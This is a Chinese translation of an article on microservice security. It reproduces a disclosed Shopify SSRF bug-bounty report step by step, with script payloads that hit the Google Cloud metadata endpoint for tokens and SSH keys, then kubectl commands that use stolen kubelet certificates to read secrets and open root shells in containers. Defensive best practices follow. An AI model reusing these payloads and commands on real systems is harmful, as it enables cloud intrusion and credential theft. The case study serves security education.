通過Shopify平臺案例探究微服務安全
譯文【51CTO.com快譯】對于一些大型服務架構而言,微服務的安全性在它們所面臨的諸多攻擊因素中顯得尤為重要。本文將和您討論如何在生產環境中防范各種入侵,以保障整體安全。同時,我將介紹一些實用的方法,以應對通用的微服務安全問題。您可以通過采用這些技術和方法,來輕松地加固各類微服務應用。
另外,我將模擬從公有云服務器實例的單入口,入侵Shopify(譯者注:加拿大電商軟件平臺)的微服務實例,并訪問到其元數據為例,來探討微服務部署和開發過程中的最佳實踐。
概述
讓我們首先來瀏覽一下微服務的架構特點,和它被用來進行應用開發的過程中,所面對的一系列安全問題。
微服務的一般特性
- 解耦的組件
- 增加的復雜性
- 固定的架構
- 更短的開發周期
- 最小化依賴項和共同關注點
- 小而集中
- 相關服務之間的數據約定
- 對某個特定技術棧的依賴
- 良好的集成測試,減少了安全漏洞
由于開發人員對于AppSec(應用安全)的意識較為薄弱,甚至是對于通用應用安全規范的無視,他們可能會從如下方面增加微服務安全的復雜度與挑戰:
- 分段和隔離
- 多云環境的部署,增加了資產安全的管理成本
- 身份管理和訪問控制
- 數據與消息的完整性
- 頻繁的變更與淘汰周期
上述與微服務架構相關的因素,都會導致其整體潛在攻擊面的擴大增加。而隨著服務和資產數量的增加,其風險因素也會大為增多。因此,我們有必要通過定期的代碼審查和安全審計,來解決上述提到的各種開發與部署過程中的問題。
微服務的AppSec
許多公司對AppSec(應用安全)都缺乏重視,他們僅僅依靠一些自動化的漏洞掃描工具,和被動式的威脅建模,來檢查各種安全配置上的錯誤,并測試其基于微服務應用的安全態勢。顯然,這些都無法有效地應對真實環境中的復雜入侵與威脅。
因此開發人員稍有不慎,就可能給應用在整體層面上留下可以被利用和入侵的各種安全漏洞。這正是為什么我們需要不斷地修正自己的開發方式,進而在組織內部通過采用AppSec的最佳實踐,以保證微服務安全態勢的原因。
我們應當將下列技術與實踐,嚴格地貫徹到微服務的開發和部署之中,以確保交付產品的安全可靠,且符合業界規定的各種安全實踐標準。
持續安全
人們經常不得不為自己所忽視的安全而“買單”。因此,持續安全的目標就是要通過定期測試微服務應用的安全性,來降低整體成本與開銷。而實現持續安全的最好方法便是DevSecOps,它包括了持續的安全測試,和精細的內、外部審計。我們需要通過模擬從不同攻擊者的角度,來分析微服務可能會受到哪些方面的入侵,定位其自身可能存在的漏洞,從而將各種問題防范于未然。
方法
- 內部測試(主要是漏洞被利用之后的階段)
- 外部測試
下面,我們針對上述方法,來討論持續安全的具體“落地”。
案例探究(Shopify)
“據@0xacb的報告:雖然Shopify基礎架構已被隔離成了多個子集,但是通過Shopify交易平臺上的截屏功能,攻擊者可能利用服務器端請求偽造(request forgery)的bug,來獲得對于某個子集內任何容器的root訪問權限。在接報的一小時后,我們停止了存在漏洞的服務,并審核了所有子集中的應用,進而對整體基礎架構實施了應急補救。存在該漏洞的子集并不包括Shopify的核心。在審核了所有的服務之后,我們通過部署元數據隱藏代理(metadata concealment proxy)的方式,禁用了對于元數據信息的訪問,進而修復了該bug。另外在架構內所有子集中,我們也禁用了通過內部IP地址的直接訪問。鑒于該子集內的一些應用確實有可能會訪問到Shopify的核心數據和系統,我們特為此核心遠程代碼執行漏洞(Core RCE),設置$25000獎金。”
以上便是Shopify在Hackerone(譯者注:全球最大的漏洞眾測平臺)中發布的,其針對該事件的獎賞計劃。
根據該報告,我們能夠得出這樣的結論:即使是應用端的漏洞,也會導致服務器受到入侵的威脅。撇開此類攻擊的復雜性不談,該漏洞還是非常容易被利用的。通常情況下,攻擊者會利用一個非常簡單的SSRF(Server-Side Request Forgery,服務器端請求偽造)來攻擊該漏洞,從而訪問到主實例(master instance)的元數據,然后進一步獲取那些運行在谷歌云平臺上,其他存在同類漏洞的實例的room訪問權限。
Shopify的“入侵鏈”
下面讓我們來探討一下攻擊者將如何通過該漏洞,來獲取所有Shopify實例的root訪問權限。
注:由于源自真實的環境,所以我們在此用████隱去了一些敏感信息。
1. 訪問谷歌云的元數據
- 新建一個店鋪(partners.shopify.com)。
- 編輯模板:password.liquid,并添加如下內容:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
- // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
- </script>
雖然查找谷歌云實例中的各個SSRF需要用到一種特殊的包頭,但是我發現可以采用一個非常簡單的方法來“繞過”它:由于/v1beta1端點仍然可用,就算不需要Metadata-Flavor: Google的包頭,仍然可返回相同的token(令牌)。
我曾試圖截獲更多的數據,但是網絡截圖軟件無法根據application/text的響應,產生任何圖像。不過我發現:可以通過添加參數alt=json,以強制讓application/json做出響應。因此我設法截獲了更多的數據,包括:SSH公共密鑰(帶有電子郵件地址)、項目名稱(█████)、和實例名稱等:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
- </script>
那么我可以使用截獲的token來添加自己的SSH密鑰嗎?答案是:不可以。
- curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
- {
- "error": {
- "errors": [
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
- },
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
- }
- ],
- "code": 403,
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
- }
- }
我全面檢查了該token,它并沒有對Compute Engine API(譯者注:一種谷歌的API)進行讀與寫的訪問。
- curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
- {
- "issued_to": "███████",
- "audience": "███",
- "scope": "https://www.googleapis.com/auth/cloud-platform",
- "expires_in": 1307,
- "access_type": "offline"
- }
2. 轉存kube-env
我創建了一個新的店鋪
(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并遞歸地“拉取出”該實例的各項屬性。
由于元數據隱藏
(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被開啟,因為我能夠獲取到kube-env屬性。
另外,由于圖像已被損壞,因此我針對
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json創建了一個新的請求,以查看Kubelet證書的剩余部分,及其私鑰。
ca.crt(譯者注:ca證書文件)
- -----BEGIN CERTIFICATE-----
- ██████
- ███████
- ███████
- ████████
- ██████████████
- ████████
- ████████
- ███████
- ████
- ██████
- ███
- █████████
- ████
- ████
- ████████
- ███████
- ███
- -----END CERTIFICATE-----
client.crt(譯者注:client端證書文件)
- -----BEGIN CERTIFICATE-----
- █████
- ███████
- ██████
- ████████
- ██████████
- █████
- ██████
- █████
- █████
- ██████████
- ███████
- █████
- ████
- ████
- ████████
- ████████
- -----END CERTIFICATE-----
client.pem(譯者注:采用Base64 編碼的client端文件,存儲證書+密鑰)
- -----BEGIN RSA PRIVATE KEY-----
- █████████
- ██████
- ████████
- ████
- ████
- █████████
- ██████████
- ██████
- ████████
- █████████
- ██████
- ██████████
- ███
- ██████████
- ███
- ██████
- █████████
- ████████
- ██████████
- █████████
- ████
- ████
- ████████
- ████
- ███████
- -----END RSA PRIVATE KEY-----
至此,我得到了MASTER_NAME:█████
3. 使用Kubelet執行任意命令
在此,我們可以列出所有的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces
- NAMESPACE NAME READY STATUS RESTARTS AGE
- ████████ ██████████ 1/1
也可以創建新的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml
- pod "shell-demo" created
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo
- pod "shell-demo" deleted
由于我無法確定自己是否能以用戶████████的身份,去刪除其正在運行的pods。因此,我無法在這個新的pod或其他pod中執行任何命令:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
- Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
雖然get secrets命令沒有起到效果,但是它能夠根據給定的pod,運用其名稱來獲取密鑰。我正好運用實例名████,從名稱空間████中,截獲到了kubernetes.io服務帳號的token:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████
- Name: ████████
- Namespace: ██████
- Node: ██████████
- Start Time: Fri, 23 Mar 2018 13:53:13 +0000
- Labels: █████
- ████
- █████
- Annotations: <none>
- Status: Running
- IP: █████████
- Controlled By: █████
- Containers:
- default-http-backend:
- Container ID: docker://███
- Image: ██████
- Image ID: docker-pullable://█████
- Port: ████/TCP
- Host Port: 0/TCP
- State: Running
- Started: Sun, 22 Apr 2018 03:23:09 +0000
- Last State: Terminated
- Reason: Error
- Exit Code: 2
- Started: Fri, 20 Apr 2018 23:39:21 +0000
- Finished: Sun, 22 Apr 2018 03:23:07 +0000
- Ready: True
- Restart Count: 180
- Limits:
- cpu: 10m
- memory: 20Mi
- Requests:
- cpu: 10m
- memory: 20Mi
- Liveness: http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
- Environment: <none>
- Mounts:
- ██████
- Conditions:
- Type Status
- Initialized True
- Ready True
- PodScheduled True
- Volumes:
- ██████████:
- Type: Secret (a volume populated by a Secret)
- SecretName: ███████
- Optional: false
- QoS Class: Guaranteed
- Node-Selectors: <none>
- Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
- node.kubernetes.io/unreachable:NoExecute for 300s
- Events: <none>
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml
- apiVersion: v1
- data:
- ca.crt: ██████████
- namespace: ████
- token: ██████████==
- kind: Secret
- metadata:
- annotations:
- kubernetes.io/service-account.name: default
- kubernetes.io/service-account.uid: ████
- creationTimestamp: 2017-01-23T16:08:19Z
- name:█████
- namespace: ██████████
- resourceVersion: "115481155"
- selfLink: /api/v1/namespaces/████████/secrets/████
- uid: █████████
- type: kubernetes.io/service-account-token
最后如下所示,我就能使用該token從任意容器中獲取shell了。
- $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
- ███████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- █████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- ███████:/# exit
- $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
- root@████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- root@████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- root@█████:/# exit
影響程度:嚴重
黑客們可以根據相關的上下文信息,采用服務器端請求偽造(SSRF)來入侵上述漏洞。同時,他們會給目標系統帶來如下影響:
- 繞過網絡訪問控制,能夠截獲內部服務嗎?
- 是的。
- 什么樣的內部服務能被訪問?
- 谷歌云的元數據。
- 帶來何種安全影響?
- RCE(遠程代碼執行)。
保障微服務安全的最佳實踐
通過上述Shopify案例,我們可以學到:
(1) 用戶身份管理、授權和訪問控制。我們的首要任務應該是:設置適當的訪問控制和用戶權限。其中,我們可以使用OAuth2來進行用戶授權的管控。您可按需使用訪問控制,來對不同類型的用戶組進行訪問級別和權限范圍的設置。例如:您可以采用諸如JWT(基于認證的JSON Web Token)、JJWT(Java JWT,請參考https://github.com/jwtk/jjwt)等第三方的服務架構來實現認證,使用SSO來處理授權問題。另外,您也可以參照SAML和LDAP進行身份驗證。
(2) 根據TOTP(time-based one-time password,基于時間的一次性密碼)啟用2FA(two-factor authentication,雙因素認證)。這是另一種很好的方法。它能夠像第二道防線那樣,去彌補JWT自身的各種漏洞,以及處理驗證過程中的疏漏。其代表方式是實施GoogleAuth庫(請參考https://github.com/wstrange/GoogleAuth)。
(3) 不要以明文或純文本的形式存儲敏感數據。請選用libsodium服務(https://github.com/jedisct1/libsodium),對數據進行加、解密。此外,千萬不要采用某種尚處于測試階段的加密算法,因為它們往往可能捆綁了某些框架,或潛在著各種未知的漏洞。
(4) 使用API網關隔離各種資源。您可以使用各種第三方的API網關來達到此效果。
(5) 分離各種API和內部組件,以減少暴露的被攻擊面。
(6) 為了基于REST-API安全,請持續關注每年底更新的OWASP Top 10,并做好自身的漏洞徹審。如前文所述的SSRF,如果我們處置不當,將會帶來RCE的隱患。此法有助于發現一些常見的Web應用漏洞。
(7) 如果部署并使用云平臺,請為帳號和實例配置訪問控制。通常情況下,服務器實例的元數據是開放性的;而隸屬于特定微服務的AWS object buckets(對象存儲空間)也同樣是開放性的。因此我們要通過ACL,來防范它們在最壞情況下被公布于世。正如上述Shopify案例那樣,攻擊者通過利用漏洞,獲取root訪問權限,來進一步截獲與服務器實例有關的敏感元數據。
(8) 對通用序列化(Common serialization)與反序列化(deserialization),基于SQLi漏洞的防范。我們特別要注意那些不安全的反序列化,它們可能會導致包括RCE在內的許多嚴重漏洞。因此,我們需要及時通過熱補丁程序(hotfix)來對用戶的輸入實施審查和“消毒”。例如:Kryo(譯者注:一種快速高效的Java對象圖形序列化架構)就存在著尚未修復的反序列化漏洞,請參見:https://github.com/EsotericSoftware/kryo/issues/398。
- Ø Spark SQL
- Ø Kafka + Spark Serialization
(9) 認證,我們可以采用如下的身份驗證APIs(各種架構和服務):
- 使用Cognito + AWS API網關來處理繁瑣的認證:Cognito使用證書、MFA等來處理認證問題;API網關檢查訪問的token、JWT、以及授權。
- 在各個服務之間,采用基于角色的限制。
- 通過要求對每個請求進行簽名,以增加額外的認證保護層。
- 將Lambda的各個函數整合到hook進程之前和之后:您可以使用各種Swagger文件;也可以參考https://github.com/iheartradio/play-swagger,來為自己的架構輕松產生各種Swagger文件。
(10) 切勿將敏感鍵值或信息存放到環境變量之中。這些信息可能會在某些情況下暴露在應用程序的日志中,或是被其他服務無意中訪問到,從而帶來安全隱患。
原文標題:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan
【51CTO譯稿,合作站點轉載請注明原文譯者和出處為51CTO.com】